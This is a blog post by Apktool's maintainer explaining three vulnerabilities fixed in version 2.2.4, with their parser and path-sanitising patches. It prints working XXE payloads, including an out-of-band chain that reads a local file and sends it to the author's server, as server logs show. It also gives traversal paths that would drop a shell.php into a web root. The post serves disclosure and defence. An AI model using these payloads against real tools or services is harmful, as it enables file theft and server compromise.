Detecting Reverse Engineering on Android Applications

Not long after Apktool received our first sponsorship, my email received two responsibly disclosed security issues found in Apktool.

My first thought was confusion as Apktool is not a service, but a local application run by the user. So my perceived idea of what constituted a vulnerability did not blend. However, I learned these were valid issues that could be exploited in the wild, thus Apktool 2.2.4 was released quicker than our normal release cycle to resolve these.

As Apktool is open source, the fixes are public, but most can discover the intended exploits from the code so we will just go over them in hopes to draw people to upgrade to 2.2.4. Prior versions of Apktool greater than 1.5.2 but less than 2.2.4 are affected.

Apktool XXE Attack

Thanks to Chris Shepherd (IBM Security) & Eran Vaknin, Gal Elbaz, Alon Boxiner (Checkpoint) who both reported this vulnerability within the same week.

This is more formally known as a XML eXternal Entity Attack, which when properly leveraged can preform denial of service, data theft and/or user enumeration. This occurs from processing and reading the AndroidManifest.xml file.

For example, lets build a test application with a malformed AndroidManifest.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE manifest [<!ENTITY e1 SYSTEM 'http://ibotpeaches.com?z=APKTOOLXXE;'>]>
<manifest package="com.ibotpeaches.doctype" platformBuildVersionCode="24" platformBuildVersionName="6.0-2456767" xmlns:android="http://schemas.android.com/apk/res/android">
    &e1;
</manifest>

This uses the external entity reference to build a URL to a website I own (ibotpeaches.com). At this point, in Apktool 2.2.3, while decoding the application an interesting entry is added to my Apache logs.

47.xxx.xx.62 - - [17/Jul/2017:18:26:01 +0000] "GET /?z=APKTOOLXXE; HTTP/1.1" 200 1257 "-" "Java/1.8.0_71"

Which is a tad bit scary. Imagine the use case that crafty application developers inserted a special URL denoting application modification. Those using Apktool would unknowingly make a GET request to that URL exposing IP and potentially more information. The owner of that application could use that information to suspend/look into the user making the request.

This outlined a flaw in our weakly configured XML parser. Our initial fix was simply

docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true);

Which prevented Apktool from reaching out to any servers even while decoding an application that contained a DOCTYPE declaration. This proved to not be sufficient which led to another XXE related exploit, which was also disclosed by Eran Vaknin, Gal Elbaz, Alon Boxiner (Checkpoint).

Apktool XXE OOB Attack

This is known as the XML eXternal Out-Of-Band Attack (slides from Blackhat EU 2013) which pivots the XXE category of attacks into a far more sophisticated approach.

The idea is to point an XML file, via a crafty block of a text, to an evil server you control in order to load another file.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ibotpeaches.com:8881/evil.xml">
%remote;
%int;
%trick;]>

This was an example I spun up with a local server to feed this evil.xml file back.

<!ENTITY % payl SYSTEM "file:///etc/file">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ibotpeaches.com:8881/?p=%payl;'>">

As you can see, we are going to do some interesting leaps here. These are the steps an application takes being decoded with this malicious setup.

1. Application is decoded by apktool < 2.2.4
2. During the reading of AndroidManifest.xml a GET request is made to ibotpeaches.com:8881/evil.xml
3. This file is read, which payload is more information to be processed. The contents is asking us to include the /etc/file and return that in the query string as the payload back to our ibotpeaches.com server.

However, this is creates an evil file that is specific to one payload and one domain. I need more control than that.

Thankfully, someone has created something for just that. Thanks to joernchen for creating xxeserve - a little ruby app to create a local server serving an evil file to help pivot attacks to any file based on the query string.

This makes our evil file

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ibotpeaches.com:8881/xml?f=/hi">
%remote;
%int;
%trick;]>

So for example, I'm going to put a fake file in the root of my file system to demo an extraction technique.

➜  ~ cd /
➜  / ls | grep 'hi'
hi
➜  / cat hi
exploited
➜  / 

A file in /hi has the contents of exploited. It's important to note that the contents of the intended file have to be characters that won't cause our XML parser to choke. This means binary, newline characters and others like > depending on the parser (Java Xerces in the case of Apktool) might get rejected and thus fail. So lets decode this nasty application and watch our server logs.

47.xxx.xx.62 - - [21/Jul/2017:19:43:19 +0000] "GET /xml?f=/hi HTTP/1.1" 200 124 0.0006
47.xxx.xx.62 - - [21/Jul/2017:19:43:19 UTC] "GET /xml?f=/hi HTTP/1.1" 200 124
- -> /xml?f=/hi
47.xxx.xx.62 - - [21/Jul/2017:19:43:19 +0000] "GET /?p=exploited HTTP/1.1" 200 - 0.0007
47.xxx.xx.62 - - [21/Jul/2017:19:43:19 UTC] "GET /?p=exploited HTTP/1.1" 200 0
- -> /?p=exploited

What an interesting attack. The initial request was the GET parameter of f=/hi, which corresponding to the host machine file location /hi, which read the contents back into the query string and sent another request as /?p=exploited which shown above was the contents of this file.

We fixed this again tweaking our parser with a few more rules.

docFactory.setFeature(FEATURE_LOAD_DTD, false);

docFactory.setAttribute(ACCESS_EXTERNAL_DTD, " ");
docFactory.setAttribute(ACCESS_EXTERNAL_SCHEMA, " ");

which seemed to finally put to rest all the XXE attacks. However, another vulnerability was discovered by the Checkpoint team regarding the unknown files feature of Apktool.

Apktool Path Traversal Exploit

Applications since the beginning of time have been adding files to the package that Android does not know about. This may be a license file in the root of the project or some asset hidden in a custom folder structure outside of the Android asset organization.

Apktool began just recording these files (unknown to Apktool and by extension Android) and placing them back in the rebuilt application. This led to more problems as some files were STORED vs DEFLATED in the final binary. Apktool slowly enhanced itself and now keeps the unknown files in the rebuilt application in the same compression format that they were found in the application.

This feature has seen lots of bugs (some still there) in regards to this feature. Imagine an application with 2,000 unknown files with a variety of extensions. Apktool will record the relative file path to that file with the compression type of it. This leads to a yaml block like so

unknownFiles:
  hidden.file: '8'
  non\u007Fprintable.file: '8'
  stored.file: '0'
  unk_folder/unknown_file: '8'
  lib_bug603/bug603: '8'

This is the result of lots of tests and changes. In the past, we simply recorded the extension of the file. It was easier to say, "All PNGs that are unknown are deflated" instead of listing all 50 PNGs in the application. As you can imagine, we hit the use case where similar extensions were stored different. Additionally, files with no extension or special characters broke this use case.

So we went back to recording the full relative file path of all unknown files. This is actively broken on Windows in some situations as the command generated exceeds the max length of a single command.

So this is where the bug comes into play. Imagine the following use cases

unknownFiles:
  ../../relative/path/elsewhere: '8'
  /etc/hosts: '8'
  : '8'

This shows the most basic of vulnerability. If Apktool had permission, it would reach out to those locations and build those files into the final application. This does not seem feasible to exploit as you would need to provide a malicious apktool.yml file for the user to use.

However, what if you designed a malicious application with fake unknown files in order to build a path structure that would resemble that? Perhaps you could create a fake directory tree in your application that corresponds to a file outside the hierarchy of the decoded application. This whether intentionally or not was discovered during the 2.2.3 release as an application contained a ".." folder name which caused some issues. This created the file path of

apk_with_relative_paths/unknown/../../folder/file.extension

Which as you can see escaped the hierarchy of the application and could be maliciously built into other applications in order to exploit this. Though, further examination makes this rather difficult to actually execute as the only vector affected would be those online services that automatically decodes applications behind the scenes using Apktool.

You could create a fake application with a path in order to extract a file (perhaps a shell) into the file system into a web accessible location. The reporters of this exploit (Checkpoint) hinted at the following path

C:\Android\tmp\sample.apk\..\..\..\..\..\..\..\wamp64\www\shell.php

This would be detected as an unknown file in that location and thus when improperly parsed would drop the file in ..\..\..\..\..\..\etc which as you can see could be quite dangerous. In a real situation this would require knowledge of underlying server technology and permission to whatever location to write files. This was fixed in two different ways.

Our first patch (help from Marvin Killing) simply ignored files that attempted to pivot out of the directory hierarchy. This did not fix people intentionally making the apktool.yml file malicious but fixed the problem at hand with malicious applications pivoting outside the decoded folder with an intentionally dangerous unknown folder structures.

diff --git a/brut.j.dir/src/main/java/brut/directory/ZipRODirectory.java b/brut.j.dir/src/main/java/brut/directory/ZipRODirectory.java
index a400ce34..c16dac31 100644
--- a/brut.j.dir/src/main/java/brut/directory/ZipRODirectory.java
+++ b/brut.j.dir/src/main/java/brut/directory/ZipRODirectory.java
@@ -136,7 +136,8 @@ private void loadAll() {
                 subname = subname.substring(0, pos);
             }
             
-            if (! mDirs.containsKey(subname)) {
+            boolean pointsToParentDirectory = (subname.equals("..") && prefixLen == 0);
+            if (! mDirs.containsKey(subname) && ! pointsToParentDirectory) {
                 AbstractDirectory dir = new ZipRODirectory(getZipFile(), getPath() + subname + separator);
                 mDirs.put(subname, dir);                
             }

The next patch I constructed from the help of community research was a simple Java patch against directory traversal. This was basically a copy and paste from StackOverflow as embarrassing as it is to admit. However, when it comes to security related fixes in a field I know I'm not 100% confident in, I'm willing to trust a commented and reviewed post to jump start my attempt.

This resulted in a new function to sanitize our file paths of unknown files.

public static String sanitizeUnknownFile(final File directory, final String entry) throws IOException, BrutException {
        if (entry.length() == 0) {
            throw new InvalidUnknownFileException("Invalid Unknown File - " + entry);
        }

        if (new File(entry).isAbsolute()) {
            throw new RootUnknownFileException("Absolute Unknown Files is not allowed - " + entry);
        }

        final String canonicalDirPath = directory.getCanonicalPath() + File.separator;
        final String canonicalEntryPath = new File(directory, entry).getCanonicalPath();

        if (!canonicalEntryPath.startsWith(canonicalDirPath)) {
            throw new TraversalUnknownFileException("Directory Traversal is not allowed - " + entry);
        }

        // https://stackoverflow.com/q/2375903/455008
        return canonicalEntryPath.substring(canonicalDirPath.length());
}

This as shown, and proven in tests, prevents 3 types of attacks.

1. Invalid paths (Requesting entire directory)
2. Root paths (Paths starting from root of file system)
3. Relative paths (Outside of allowed hierarchy)

Apktool will die out (quit) if it encounters these situations. The idea behind this vs silent ignore is that it is no longer possible to create an application that automatically decodes to one of these 3 invalid paths. The only method to obtain this is manual editing of the apktool.yml to create this malicious purpose. At that point if you are manually editing files to do this or was led unintentionally via some tutorial to do this, Apktool will now issue an error and quit.

Caused by: brut.common.TraversalUnknownFileException: Directory Traversal is not allowed - ../../file.txt
	at brut.util.BrutIO.sanitizeUnknownFile(BrutIO.java:93)

The error is descriptive and will tell the user exactly why things failed. With that solved, all currently reported vulnerabilities were fixed. I'd like to thank both IBM Security & Checkpoint for the responsible disclosure.

For details on the release of Apktool 2.2.4 please head to the release post for more details.